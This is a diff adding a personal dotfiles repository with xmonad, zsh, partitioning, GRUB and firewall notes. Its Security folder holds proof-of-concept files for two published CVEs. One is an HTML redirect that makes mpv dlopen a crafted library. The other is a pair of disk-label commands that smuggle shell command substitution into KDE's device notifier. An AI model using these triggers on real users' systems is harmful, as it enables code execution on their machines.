+ spawn "amixer -q set Master toggle")
+
+ -- Decrease volume.
+ , ((0, xF86XK_AudioLowerVolume),
+ spawn "amixer -q set Master 10%-")
+
+ -- Increase volume.
+ , ((0, xF86XK_AudioRaiseVolume),
+ spawn "amixer -q set Master 10%+")
+
+ -- Mute volume.
+ , ((modMask .|. controlMask, xK_m),
+ spawn "amixer -q set Master toggle")
+
+ -- Decrease volume.
+ , ((modMask .|. controlMask, xK_j),
+ spawn "amixer -q set Master 10%-")
+
+ -- Increase volume.
+ , ((modMask .|. controlMask, xK_k),
+ spawn "amixer -q set Master 10%+")
+
+ -- Audio previous.
+ , ((0, 0x1008FF16),
+ spawn "")
+
+ -- Play/pause.
+ , ((0, 0x1008FF14),
+ spawn "")
+
+ -- Audio next.
+ , ((0, 0x1008FF17),
+ spawn "")
+
+ -- Eject CD tray.
+ , ((0, 0x1008FF2C),
+ spawn "eject -T")
+
+ --------------------------------------------------------------------
+ -- "Standard" xmonad key bindings
+ --
+
+ -- Close focused window.
+ , ((modMask .|. shiftMask, xK_c),
+ kill)
+
+ -- Cycle through the available layout algorithms.
+ , ((modMask, xK_space),
+ sendMessage NextLayout)
+
+ -- Reset the layouts on the current workspace to default.
+ , ((modMask .|. shiftMask, xK_space),
+ setLayout $ XMonad.layoutHook conf)
+
+ -- Resize viewed windows to the correct size.
+ , ((modMask, xK_n),
+ refresh)
+
+ -- Move focus to the next window.
+ , ((modMask, xK_Tab),
+ windows W.focusDown)
+
+ -- Move focus to the next window.
+ , ((modMask, xK_j),
+ windows W.focusDown)
+
+ -- Move focus to the previous window.
+ , ((modMask, xK_k),
+ windows W.focusUp )
+
+ -- Move focus to the master window.
+ , ((modMask, xK_m),
+ windows W.focusMaster )
+
+ -- Swap the focused window and the master window.
+ , ((modMask .|. shiftMask, xK_Return),
+ windows W.swapMaster)
+
+ -- Swap the focused window with the next window.
+ , ((modMask .|. shiftMask, xK_j),
+ windows W.swapDown )
+
+ -- Swap the focused window with the previous window.
+ , ((modMask .|. shiftMask, xK_k),
+ windows W.swapUp )
+
+ -- Shrink the master area.
+ , ((modMask, xK_h),
+ sendMessage Shrink)
+
+ -- Expand the master area.
+ , ((modMask, xK_l),
+ sendMessage Expand)
+
+ -- Push window back intq tiling.
+ , ((modMask, xK_t),
+ withFocused $ windows . W.sink)
+
+ -- Increment the number of windows in the master area.
+ , ((modMask, xK_comma),
+ sendMessage (IncMasterN 1))
+
+ -- Decrement the number of windows in the master area.
+ , ((modMask, xK_period),
+ sendMessage (IncMasterN (-1)))
+
+ -- Toggle the status bar gap.
+ -- TODO: update this binding with avoidStruts, ((modMask, xK_b),
+
+ -- Quit xmonad.
+ , ((modMask .|. shiftMask, xK_q),
+ io (exitWith ExitSuccess))
+
+ -- Restart xmonad.
+ , ((modMask .|. shiftMask, xK_r),
+ restart "xmonad" True)
+ ]
+ ++
+
+ -- mod-[1..9], Switch to workspace N
+ -- mod-shift-[1..9], Move client to workspace N
+ [((m .|. modMask, k), windows $ f i)
+ | (i, k) <- zip (XMonad.workspaces conf) [xK_1 .. xK_9]
+ , (f, m) <- [(W.greedyView, 0), (W.shift, shiftMask)]]
+ ++
+
+ -- mod-{w,e,r}, Switch to physical/Xinerama screens 1, 2, or 3
+ -- mod-shift-{w,e,r}, Move client to screen 1, 2, or 3
+ [((m .|. modMask, key), screenWorkspace sc >>= flip whenJust (windows . f))
+ | (key, sc) <- zip [xK_w, xK_e, xK_r] [0..]
+ , (f, m) <- [(W.view, 0), (W.shift, shiftMask)]]
+
+
+------------------------------------------------------------------------
+-- Mouse bindings
+--
+-- Focus rules
+-- True if your focus should follow your mouse cursor.
+myFocusFollowsMouse :: Bool
+myFocusFollowsMouse = True
+
+myMouseBindings (XConfig {XMonad.modMask = modMask}) = M.fromList $
+ [
+ -- mod-button1, Set the window to floating mode and move by dragging
+ ((modMask, button1),
+ (\w -> focus w >> mouseMoveWindow w))
+
+ -- mod-button2, Raise the window to the top of the stack
+ , ((modMask, button2),
+ (\w -> focus w >> windows W.swapMaster))
+
+ -- mod-button3, Set the window to floating mode and resize by dragging
+ , ((modMask, button3),
+ (\w -> focus w >> mouseResizeWindow w))
+
+ -- you may also bind events to the mouse scroll wheel (button4 and button5)
+ ]
+
+
+------------------------------------------------------------------------
+-- Status bars and logging
+-- Perform an arbitrary action on each internal state change or X event.
+-- See the 'DynamicLog' extension for examples.
+--
+-- To emulate dwm's status bar
+--
+-- > logHook = dynamicLogDzen
+--
+
+
+------------------------------------------------------------------------
+-- Startup hook
+-- Perform an arbitrary action each time xmonad starts or is restarted
+-- with mod-q. Used by, e.g., XMonad.Layout.PerWorkspace to initialize
+-- per-workspace layout choices.
+--
+-- By default, do nothing.
+myStartupHook = return ()
+
+
+------------------------------------------------------------------------
+-- Run xmonad with all the defaults we set up.
+--
+main = do
+ xmproc <- spawnPipe "xmobar ~/.xmonad/xmobar.hs"
+ xmonad $ defaults {
+ logHook = dynamicLogWithPP $ xmobarPP {
+ ppOutput = hPutStrLn xmproc
+ , ppTitle = xmobarColor xmobarTitleColor "" . shorten 100
+ , ppCurrent = xmobarColor xmobarCurrentWorkspaceColor ""
+ , ppSep = " "
+ }
+ , manageHook = manageDocks <+> myManageHook
+ , startupHook = setWMName "LG3D"
+ }
+
+
+------------------------------------------------------------------------
+-- Combine it all together
+-- A structure containing your configuration settings, overriding
+-- fields in the default config. Any you don't override, will
+-- use the defaults defined in xmonad/XMonad/Config.hs
+--
+-- No need to modify this.
+--
+defaults = defaultConfig {
+ -- simple stuff
+ terminal = myTerminal,
+ focusFollowsMouse = myFocusFollowsMouse,
+ borderWidth = myBorderWidth,
+ modMask = myModMask,
+ workspaces = myWorkspaces,
+ normalBorderColor = myNormalBorderColor,
+ focusedBorderColor = myFocusedBorderColor,
+
+ -- key bindings
+ keys = myKeys,
+ mouseBindings = myMouseBindings,
+
+ -- hooks, layouts
+ layoutHook = smartBorders $ myLayout,
+ manageHook = myManageHook,
+ startupHook = myStartupHook
+}
blob - /dev/null
blob + a9e738f075f962fa9ff71cbfd53402eb9728abd0 (mode 755)
--- /dev/null
+++ .zshrc
+# _
+# | |
+# _______| |__ _ __ ___
+# |_ / __| '_ \| '__/ __|
+# _ / /\__ \ | | | | | (__
+# (_)___|___/_| |_|_| \___|
+
+# Lines configured by zsh-newuser-install
+HISTFILE=~/.histfile
+HISTSIZE=1000
+SAVEHIST=1000
+bindkey -e
+# End of lines configured by zsh-newuser-install
+# The following lines were added by compinstall
+zstyle :compinstall filename '/home/matthew/.zshrc'
+
+autoload -Uz compinit
+compinit
+# End of lines added by compinstall
+
+# key bindings
+bindkey "e[1~" beginning-of-line
+bindkey "e[4~" end-of-line
+bindkey "e[5~" beginning-of-history
+bindkey "e[6~" end-of-history
+bindkey "e[3~" delete-char
+bindkey "e[2~" quoted-insert
+bindkey "e[5C" forward-word
+bindkey "eOc" emacs-forward-word
+bindkey "e[5D" backward-word
+bindkey "eOd" emacs-backward-word
+bindkey "ee[C" forward-word
+bindkey "ee[D" backward-word
+bindkey "^H" backward-delete-word
+# for rxvt
+bindkey "e[8~" end-of-line
+bindkey "e[7~" beginning-of-line
+# for non RH/Debian xterm, can't hurt for RH/DEbian xterm
+bindkey "eOH" beginning-of-line
+bindkey "eOF" end-of-line
+# for freebsd console
+bindkey "e[H" beginning-of-line
+bindkey "e[F" end-of-line
+# completion in the middle of a line
+bindkey '^i' expand-or-complete-prefix
blob - /dev/null
blob + 90c5cd763f55d57e2be642e7e94ef7ca84669418 (mode 755)
--- /dev/null
+++ Documentation/install/install_tmp.md
+TODO: Convert to either HTML or Markdown and update.
+
+## Partitioning.
+
+Wipe hard drive.
+
+`wipefs -a /dev/sda`
+
+Add GPT partition table to hard drive.
+
+`fdisk /dev/sda`
+ 1. g
+ 2. w
+
+Partition disk.
+
+`cgdisk /dev/sda`
+ 1. 512 MiB - sda1
+ 2. 512 MiB - sda2
+ 3. Rest - sda3
+
+Format partitions.
+
+`mkfs.fat -F32 /dev/sda1 -n 'efi'`
+`mkfs.ext4 -jv /dev/sda2 -L 'boot'`
+
+Create and open LUKS encryption partition.
+
+`cryptsetup -v -c aes-xts-plain64 -s 512 -h sha512 -i 4000 --use-urandom -y luksFormat /dev/sda3`
+`cryptsetup luksOpen /dev/sda3 crypt`
+
+Create LVM2 logical volumes and do a volume change sync.
+
+`pvcreate /dev/mapper/crypt`
+`vgcreate vgroot /dev/mapper/crypt`
+`lvcreate -L 8GiB -n swap vgroot`
+`lvcreate -l100%FREE -n root vgroot`
+`vgscan --mknodes`
+`vgchange -ay`
+
+Format partitions of LVM2 logical partitions.
+
+`mkswap /dev/vgroot/swap -L 'swap'`
+`mkfs.ext4 -jv /dev/vgroot/root -L 'root'`
+
+Mount partitions.
+
+`swapon /dev/vgroot/swap`
+`mount /dev/vgroot/root /mnt`
+`mkdir /mnt/boot`
+`mount /dev/sda2 /mnt/boot`
+`mkdir /mnt/boot/efi`
+`mount /dev/sda1 /mnt/boot/efi`
+
+Install base packages to drive.
+
+`pacstrap /mnt base base-devel linux linux-firmware grub lvm2 emacs dhcpcd wpa_supplicant`
+
+Generate fstab to help bootloader and kernel auto-mount stuff.
+
+`genfstab -U /mnt >> /mnt/etc/fstab`
+
+Chroot into nearly created install.
+
+`arch-chroot /mnt`
+
+Configure timezone.
+
+`ln -sf /usr/share/zoneinfo/Europe/London /etc/localtime`
+
+Generate `/etc/adjtime`.
+
+`hwclock --systohc`
+
+Comment out `en_GB.UTF-8 UTF-8` in `/etc/locale.gen`.
+
+Run `locale-gen`.
+
+Change `/etc/locale.conf`.
+
+Add `LANG=en_GB.UTF-8` to `/etc/locale.conf`.
+
+Change `/etc/vconsole.conf`.
+
+Add `KEYMAP=uk` to `/etc/vconsole.conf`.
+
+Set hostname.
+
+Add a hostname to `/etc/hostname`.
+
+Add these lines into `/etc/hosts` (replacing `myhostname` with your hostname and `localdomain` with your local domain name).
+
+```
+127.0.0.1 localhost
+::1 localhost
+127.0.1.1 myhostname.localdomain myhostname
+```
+
+Edit `/etc/mkinitcpio.conf`.
+
+```
+Add 'ext4' to MODULES.
+Add 'encrypt' and 'lvm2' to HOOKS before 'filesystems'
+```
+
+Generate initramfs.
+
+`mkinitcpio -P`
+
+Install GRUB.
+
+`grub-install --target=i386-pc --recheck /dev/sda`
+
+Edit `GRUB_CMDLINE_LINUX=""` to `GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda3:luks:allow-discards"` in `/etc/defualt/grub`.
+
+Generate GRUB config.
+
+`grub-mkconfig -o /boot/grub/grub.cfg`
+
+Set a root password.
+
+`passwd`
+
+Enable dhcpcd.
+
+`systemctl enable dhcpcd`
blob - /dev/null
blob + baee2efac835aea1309f48dc2021f092d56c265d (mode 755)
--- /dev/null
+++ Documentation/kdenlive/1-profile.md
+## WebM.
+
+#### Summary: Added 'frame_rate_num=60 frame_rate_den=1' to Parameters to change video from 25fps to 60fps.
+
+Group `Custom`
+
+Profile name `WebM - the widespread free format (VP8/Vorbis)`
+
+Extention `webm`
+
+Parameters (see [MLT documentation](https://www.mltframework.org/plugins/ConsumerAvformat/))
+
+ ```
+ f=webm vcodec=libvpx acodec=libvorbis crf=%quality vb=0 quality=good aq=%audioquality max-intra-rate=1000 frame_rate_num=60 frame_rate_den=1
+ ```
+
+Video
+
+ * Qualities `15,45`
+
+ * Default quality `0`
+
+Audio
+
+ * Qualities `7,3`
+
+ * Default quality `0`
+
+Speed options
+
+ ```
+ cpu-used=2
+ cpu-used=3
+ cpu-used=4
+ cpu-used=5
+ ```
+
+#### More [MLT documentation](https://www.mltframework.org/docs/profiles/)
blob - /dev/null
blob + 8e6a26ff7eefa3e3f569ab4f7d4d3af0888904a9 (mode 755)
--- /dev/null
+++ Documentation/kdenlive/2-stop.md
+# Stop Kdenlive on Windows
+
+## How to stop all Kdenlive processes on Windows, thanks to Matthew Moore.
+
+### [Kill Script for Kdenlive - YouTube](https://www.youtube.com/watch?v=7nRe_48vgRs)
+
+Save as 'kdenlive_stop.bat':
+
+```
+@echo off
+color f0
+
+taskkill /IM "kioslave.exe" /T /F
+taskkill /IM "kdenlive.exe" /T /F
+taskkill /IM "dbus-daemon.exe" /T /F
+wmic process where name='kdenlive.exe' delete
+wmic process where name='kioslave.exe' delete
+wmic process where name='dbus-daemon.exe' delete
+```
blob - /dev/null
blob + 9372df3ea6c7a1f8ca4ddd48b37f517279f80134 (mode 755)
--- /dev/null
+++ Documentation/partitioning/1-partitioning.md
+# Partitioning.
+
+## EFI and boot filesystems.
+EFI partition.
+
+`mkfs.vfat -F 32 /dev/sda1 -n 'efi'`
+
+Boot partition.
+
+`mkfs.ext4 -jv /dev/sda2 -L 'boot'`
+
+## cryptsetup.
+
+`cryptsetup -v -c aes-xts-plain64 -s 512 -h sha512 -i 4000 --use-urandom -y luksFormat /dev/sda3`
+
+(cryptsetup -v --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 4000 --use-urandom --verify-passphrase luksFormat /dev/sda3)
+
+then
+
+`cryptsetup luksOpen /dev/sda3 crypt`
+
+to view cryptsetup header: `cryptsetup luksDump /dev/sda3`
+
+## LVM2.
+<!-- You could also use vg01/02/03/etc.. -->
+Create physical volume.
+
+`pvcreate /dev/mapper/crypt`
+
+Create volume group.
+
+`vgcreate vgroot /dev/mapper/crypt`
+
+Create logical volume partitions.
+
+```
+lvcreate -L 8GiB -n swap vgroot
+lvcreate -L 40GiB -n root vgroot
+lvcreate -l100%FREE -n home vgroot
+```
+
+Rescan LVM.
+
+```
+vgscan --mknodes
+vgchange -ay
+```
+
+## Create filesystems.
+
+Swap: `mkswap /dev/vgroot/swap -L 'swap' && swapon /dev/vgroot/swap`
+
+Root: `mkfs.xfs -f /dev/vgroot/root -L 'root'`
+
+Home: `mkfs.xfs -f /dev/vgroot/home -L 'home'`
blob - /dev/null
blob + 226814c6b943535f09d131e4bd7eabfc45117c9a (mode 755)
--- /dev/null
+++ Documentation/partitioning/2-fstab.md
+# Filesystems table.
+## Location: /etc/fstab
+
+# EXT4 or XFS.
+```
+<fs> <mountpoint> <type> <opts> <dump/pass>
+
+UUID=<uuid> /boot/efi vfat defaults,noatime 0 2
+UUID=<uuid> /boot ext4 defaults,noatime 0 2
+UUID=<uuid> / ext4 defaults,noatime 0 1
+UUID=<uuid> none swap sw 0 0
+
+/dev/cdrom /mnt/cdrom auto noauto,ro 0 0
+```
+
+# BTRFS.
+```
+<fs> <mountpoint> <type> <opts> <dump/pass>
+
+UUID=<uuid> /boot/efi vfat defaults,noatime 0 2
+UUID=<uuid> /boot btrfs defaults,noatime,subvol=boot 0 2
+UUID=<uuid> / btrfs defaults,compress=lzo,noatime,autodefrag,subvol=root 0 1
+UUID=<uuid> none swap sw 0 0
+
+/dev/cdrom /mnt/cdrom auto noauto,ro 0 0
+```
+
+## Notes:
+### Options.
+`autodefrag` Specific to btrfs. Enable automatic file defragmentation. When enabled, small random writes into files (in a range of tens of kilobytes, currently it’s 64K) are detected and queued up for the defragmentation process. Not well suited for large database workloads.
+
+[Why autodefrag should still be enabled on SSDs.](https://www.spinics.net/lists/linux-btrfs/msg31028.html)
+
+`defaults` Use default options: rw, suid, dev, exec, auto, nouser, and async.
+
+`discard` Enables TRIM (for SSDs).
+
+`noauto` Does not automatically mount at boot. Can still be mounted via the `mount -a` command.
+
+`compress=lzo` Specific to btrfs. (See 'compression' below.)
+
+`sw` Specific to swap.
+
+## Pass (fsck).
+The 6th column (in bold) is the fsck option.
+
+ 0 = Do not check.
+ 1 = First file system (partition) to check; / (root partition) should be set to 1.
+ 2 = All other filesystems to be checked.
+
+## Compression.
+### What are the differences between compression methods?
+There's a speed/ratio trade-off:
+
+ ZLIB -- slower, higher compression ratio (uses zlib level 3 setting, you can see the zlib level difference between 1 and 6 in zlib sources).
+ LZO -- faster compression and decompression than zlib, worse compression ratio, designed to be fast
+ ZSTD -- (since v4.14) compression comparable to zlib with higher compression/decompression speeds and different ratio levels (details)
+
+The differences depend on the actual data set and cannot be expressed by a single number or recommendation. Do your own benchmarks. LZO seems to give satisfying results for general use.
blob - /dev/null
blob + 4479b8394efb4b2e5201e8ef5ba40586ac77e2f3 (mode 755)
--- /dev/null
+++ Documentation/partitioning/3-mkinitcpio.md
+# mkinitcpio.conf
+
+## Location: `/etc/mkinitcpio.conf`.
+
+## Example mkinitcpio config (for LVM2 + LUKS encryption).
+```
+# vim:set ft=sh
+# MODULES
+# The following modules are loaded before any boot hooks are
+# run. Advanced users may wish to specify all system modules
+# in this array. For instance:
+# MODULES=(piix ide_disk reiserfs)
+MODULES=(ext4 ext2)
+
+# BINARIES
+# This setting includes any additional binaries a given user may
+# wish into the CPIO image. This is run last, so it may be used to
+# override the actual binaries included by a given hook
+# BINARIES are dependency parsed, so you may safely ignore libraries
+BINARIES=()
+
+# FILES
+# This setting is similar to BINARIES above, however, files are added
+# as-is and are not parsed in any way. This is useful for config files.
+FILES=()
+
+# HOOKS
+# This is the most important setting in this file. The HOOKS control the
+# modules and scripts added to the image, and what happens at boot time.
+# Order is important, and it is recommended that you do not change the
+# order in which HOOKS are added. Run 'mkinitcpio -H <hook name>' for
+# help on a given hook.
+# 'base' is _required_ unless you know precisely what you are doing.
+# 'udev' is _required_ in order to automatically load modules
+# 'filesystems' is _required_ unless you specify your fs modules in MODULES
+# Examples:
+## This setup specifies all modules in the MODULES setting above.
+## No raid, lvm2, or encrypted root is needed.
+# HOOKS=(base)
+#
+## This setup will autodetect all modules for your system and should
+## work as a sane default
+# HOOKS=(base udev autodetect block filesystems)
+#
+## This setup will generate a 'full' image which supports most systems.
+## No autodetection is done.
+# HOOKS=(base udev block filesystems)
+#
+## This setup assembles a pata mdadm array with an encrypted root FS.
+## Note: See 'mkinitcpio -H mdadm' for more information on raid devices.
+# HOOKS=(base udev block mdadm encrypt filesystems)
+#
+## This setup loads an lvm2 volume group on a usb device.
+# HOOKS=(base udev block lvm2 filesystems)
+#
+## NOTE: If you have /usr on a separate partition, you MUST include the
+# usr, fsck and shutdown hooks.
+HOOKS=(base udev autodetect modconf block encrypt lvm2 filesystems keyboard fsck)
+
+# COMPRESSION
+# Use this to compress the initramfs image. By default, gzip compression
+# is used. Use 'cat' to create an uncompressed image.
+#COMPRESSION="gzip"
+#COMPRESSION="bzip2"
+#COMPRESSION="lzma"
+#COMPRESSION="xz"
+#COMPRESSION="lzop"
+#COMPRESSION="lz4"
+
+# COMPRESSION_OPTIONS
+# Additional options for the compressor
+#COMPRESSION_OPTIONS=()
+```
+
+### NOTE:
+
+`ext4` and `ext2` are added onto `MODULES()`.
+
+`encrypt` and `lvm2` are addded onto `HOOKS=()`.
blob - /dev/null
blob + 320eb6707aba01ac3e40d9f761a03c7f36fc019f (mode 755)
--- /dev/null
+++ Documentation/partitioning/4-grub.md
+# GNU GRand Unified Bootloader.
+### (GRUB.)
+
+## Location: `/etc/default/grub`.
+
+## Example default grub config (for LVM2 + LUKS encryption).
+```
+# GRUB boot loader configuration
+
+GRUB_DEFAULT=0
+GRUB_TIMEOUT=5
+GRUB_DISTRIBUTOR="Gentoo"
+GRUB_CMDLINE_LINUX_DEFAULT="quiet"
+GRUB_CMDLINE_LINUX="root=/dev/mapper/vg01-root cryptdevice=/dev/sda3:crypt"
+
+# Preload both GPT and MBR modules so that they are not missed
+GRUB_PRELOAD_MODULES="part_gpt part_msdos"
+
+# Uncomment to enable booting from LUKS encrypted devices
+GRUB_ENABLE_CRYPTODISK=y
+
+# Uncomment to enable Hidden Menu, and optionally hide the timeout count
+#GRUB_HIDDEN_TIMEOUT=5
+#GRUB_HIDDEN_TIMEOUT_QUIET=true
+
+# Uncomment to use basic console
+GRUB_TERMINAL_INPUT=console
+
+# Uncomment to disable graphical terminal
+#GRUB_TERMINAL_OUTPUT=console
+
+# The resolution used on graphical terminal
+# note that you can use only modes which your graphic card supports via VBE
+# you can see them in real GRUB with the command `vbeinfo'
+GRUB_GFXMODE=auto
+
+# Uncomment to allow the kernel use the same resolution used by grub
+GRUB_GFXPAYLOAD_LINUX=keep
+
+# Uncomment if you want GRUB to pass to the Linux kernel the old parameter
+# format "root=/dev/xxx" instead of "root=/dev/disk/by-uuid/xxx"
+#GRUB_DISABLE_LINUX_UUID=true
+
+# Uncomment to disable generation of recovery mode menu entries
+GRUB_DISABLE_RECOVERY=true
+
+# Uncomment and set to the desired menu colors. Used by normal and wallpaper
+# modes only. Entries specified as foreground/background.
+#GRUB_COLOR_NORMAL="light-blue/black"
+#GRUB_COLOR_HIGHLIGHT="light-cyan/blue"
+
+# Uncomment one of them for the gfx desired, a image background or a gfxtheme
+#GRUB_BACKGROUND="/path/to/wallpaper"
+#GRUB_THEME="/path/to/gfxtheme"
+
+# Uncomment to get a beep at GRUB start
+#GRUB_INIT_TUNE="480 440 1"
+
+# Uncomment to make GRUB remember the last selection. This requires to
+# set 'GRUB_DEFAULT=saved' above.
+#GRUB_SAVEDEFAULT="true"
+```
+
+### NOTE:
+
+`root=/dev/mapper/vg01-root cryptdevice=/dev/sda3:crypt` is added to `GRUB_CMDLINE_LINUX=""`.
+
+`#GRUB_ENABLE_CRYPTODISK=y` has been uncommented to `GRUB_ENABLE_CRYPTODISK=y`.
blob - /dev/null
blob + 6da7e0d1d0e754d8da3d487182d8aca42816fa1e (mode 755)
--- /dev/null
+++ Documentation/partitioning/readme.md
+## This subdirectory will teach you some advanced techniques when it comes to partitioning during manual Linux installation.
+
+### Links to online guides:
+
+[Gentoo guide](https://wiki.gentoo.org/wiki/Dm-crypt_full_disk_encryption)
+
+[Gentoo guide (simplified)](https://wiki.gentoo.org/wiki/Full_Disk_Encryption_From_Scratch_Simplified)
blob - /dev/null
blob + bb380532f9b24a71b8a111a47128250ede993f01 (mode 755)
--- /dev/null
+++ Documentation/readme.md
+# This directory contains documentation written in Markdown.
+
+## Contents:
+
+### partitioning/1-partitioning.md
+
+How to setup partitions for LVM2 + LUKS properly (imo).
+
+### partitioning/2-fstab.md
+
+Example fstab.
+
+### partitioning/3-mkinitcpio.md
+
+Example mkinitcpio config.
+
+### partitioning/4-grub.md
+
+Example default grub config.
blob - /dev/null
blob + 5411fba34dc29f54f82ca94cb6aed0283a5ba0c4 (mode 755)
--- /dev/null
+++ LICENSE
+Copyright (c) 2016 Isabella <Bean6754>
+
+Permission to use, copy, modify, and distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
blob - /dev/null
blob + ca9135b75009b054488d069c7620a1b990f1bcb5 (mode 755)
--- /dev/null
+++ README.md
+# home
+Certain contents of my /home folder in OpenBSD.
blob - /dev/null
blob + 9dc61b59d5153554d56c102b41df374508fe9926 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/compile.sh
+#!/bin/bash
+
+gcc -shared -o libexploit.so -fPIC exploit.c
blob - /dev/null
blob + b4736620720d4684aeac6306b27907d4297409e7 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/exploit.c
+#include <stdio.h>
+
+int main(void) {
+ /* Add code you want, here.
+ Does not have root permissions,
+ unless launched as root. */
+ printf("Exploit worked!");
+
+ return 0;
+}
blob - /dev/null
blob + 82d378fb1bb0d9cff969f42b5d3707230e0b1021 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/readme.md
+# CVE-2018-6360
+
+## CVEs.
+
+[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6360)
+
+[CVE Details](https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2018-6360)
+
+## Details.
+
+mpv through 0.28.0 allows remote attackers to execute arbitrary code via a crafted web site, because it reads HTML documents containing VIDEO elements, and accepts arbitrary URLs in a src attribute without a protocol whitelist in player/lua/ytdl_hook.lua. For example, an av://lavfi:ladspa=file= URL signifies that the product should call dlopen on a shared object file located at an arbitrary local pathname. The issue exists because the product does not consider that youtube-dl can provide a potentially unsafe URL.
+
+`av://lavfi:ladspa=file= URL`
+
+## Discussion.
+[Discussion](https://github.com/mpv-player/mpv/issues/5456)
+## Fix.
+[Fix](https://github.com/mpv-player/mpv/commit/e6e6b0dcc7e9b0dbf35154a179b3dc1fcfcaff43)
blob - /dev/null
blob + b098a20e05c688fe1cc0488b908bf921fa94e035 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/url.htm
+<!DOCTYPE html>
+<html lang="en-GB">
+<head>
+ <meta charset="UTF-8">
+ <title>CVE-2018-6360</title>
+ <meta http-equiv="refresh" content="0; url=av://lavfi:ladspa=file=libexploit.so">
+</head>
+<body>
+ <p><a href="av://lavfi:ladspa=file=libexploit.so">Redirect</a></p>
+</body>
+</html>
blob - /dev/null
blob + d38145cf1a9df42735cb1a6cd9711d2b51d5133a (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/exploit1.sh
+#!/bin/bash
+
+mkfs.vfat -F 32 /dev/sdb1 -L '`touch hello`'
blob - /dev/null
blob + 691c213f099ecc2846a428f38b5352fa9ff4120b (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/exploit2.sh
+#!/bin/bash
+
+mkfs.vfat -F 32 /dev/sdb1 -L '$(touch hello)'
blob - /dev/null
blob + b5a09f03fa30ee521ecbe6bfc08122225f8f3025 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/readme.md
+# CVE-2018-6791
+
+## CVEs.
+
+[KDE](https://www.kde.org/info/security/advisory-20180208-2.txt)
+
+[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-6791)
+
+[CVE Details](https://www.cvedetails.com/cve/CVE-2018-6791/)
+
+## Details.
+
+KDE Project Security Advisory
+=============================
+
+Title: Plasma Desktop: Arbitrary command execution in the removable device notifier
+Risk Rating: High
+CVE: CVE-2018-6791
+Versions: Plasma < 5.12.0
+Date: 8 February 2018
+
+
+Overview
+========
+When a vfat thumbdrive which contains `` or $() in its volume label is plugged
+and mounted trough the device notifier, it's interpreted as a shell command,
+leaving a possibility of arbitrary commands execution. an example of offending
+volume label is "$(touch b)" which will create a file called b in the
+home folder.
+
+Workaround
+==========
+Mount removable devices with Dolphin instead of the device notifier.
+
+Solution
+========
+Update to Plasma >= 5.12.0 or Plasma >= 5.8.9
+
+Or apply the following patches:
+Plasma 5.8:
+ https://commits.kde.org/plasma-workspace/9db872df82c258315c6ebad800af59e81ffb9212
+Plasma 5.9/5.10/5.11:
+ https://commits.kde.org/plasma-workspace/f32002ce50edc3891f1fa41173132c820b917d57
+
+Credits
+=======
+Thanks to ksieluzyckih for the report and to Marco Martin for the fix.
blob - /dev/null
blob + 420512786b4eda28635e62c482b03c355f1a25ec (mode 755)
--- /dev/null
+++ Security/firewalld/services/ssh.xml
+<?xml version="1.0" encoding="utf-8"?>
+<service>
+ <short>SSH</short>
+ <description>Secure Shell (SSH) is a protocol for logging into and executing commands on remote machines. It provides secure encrypted communications. If you plan on accessing your machine remotely via SSH over a firewalled interface, enable this option. You need the openssh-server package installed for this option to be useful.</description>
+ <port protocol="tcp" port="22"/>
+</service>
blob - /dev/null
blob + 64417dec87bbe66f3a6ec9f01369eca98a417e83 (mode 755)
--- /dev/null
+++ Security/firewalld/zones/openSUSE-Server.xml
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ <zone target="ACCEPT|%%REJECT%%|DROP">
+-->
+<zone>
+ <short>openSUSE-Server</short>
+ <description>For use as an openSUSE-Server.</description>
+ <service name="dhcpv6-client"/>
+ <service name="ssh"/>
+ <service name="http"/>
+ <service name="https"/>
+</zone>
blob - /dev/null
blob + 252d17de550ebdd5dd8a17385f13e0f5fcdcaf75 (mode 755)
--- /dev/null
+++ Security/firewalld.sh
+#!/bin/bash
+
+systemctl enable firewalld
+systemctl start firewalld
+systemctl restart firewalld
+
+firewall-cmd --complete-reload
+firewall-cmd --set-default-zone=openSUSE-Server
+firewall-cmd --complete-reload
+
+systemctl restart firewalld
blob - /dev/null
blob + a12ae003a84d34d069187547fccea0deb85fdbef (mode 755)
--- /dev/null
+++ Security/pf.conf
+# With help from: 'http://srobb.net/pf.html' and 'https://www.purplehat.org/?page_id=566'
+
+ext_if="vmx0"
+#int_if="int0"
+
+# TCP.
+# 22 - SSH
+# 25 - SMTP
+# 80 - HTTP
+# 110 - POP3
+# 123 - NTP
+# 443 - HTTPS
+# UDP.
+# 110 - POP3
+# 631 - IPP
+
+#Logging.
+pflog_enable="YES"
+pflog_logfile="/var/log/pf.log"
+
+tcp_pass = "{ 22 25 80 110 123 443 }"
+udp_pass = "{ 110 631 }"
+
+# Black holes.
+table <flood> persist
+
+icmp_types = "echoreq"
+allproto = "{ tcp, udp, ipv6, icmp, esp, ipencap }"
+privnets = "{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, 10.0.0.0/8 }"
+
+set loginterface $ext_if
+
+# Normalizes packets and masks the OS's shortcomings such as SYN/FIN packets
+# [scrub reassemble tcp](BID 10183) and sequence number approximation
+# bugs (BID 7487).
+scrub in on $ext_if no-df random-id
+
+# Block all input before processing rules.
+block in
+
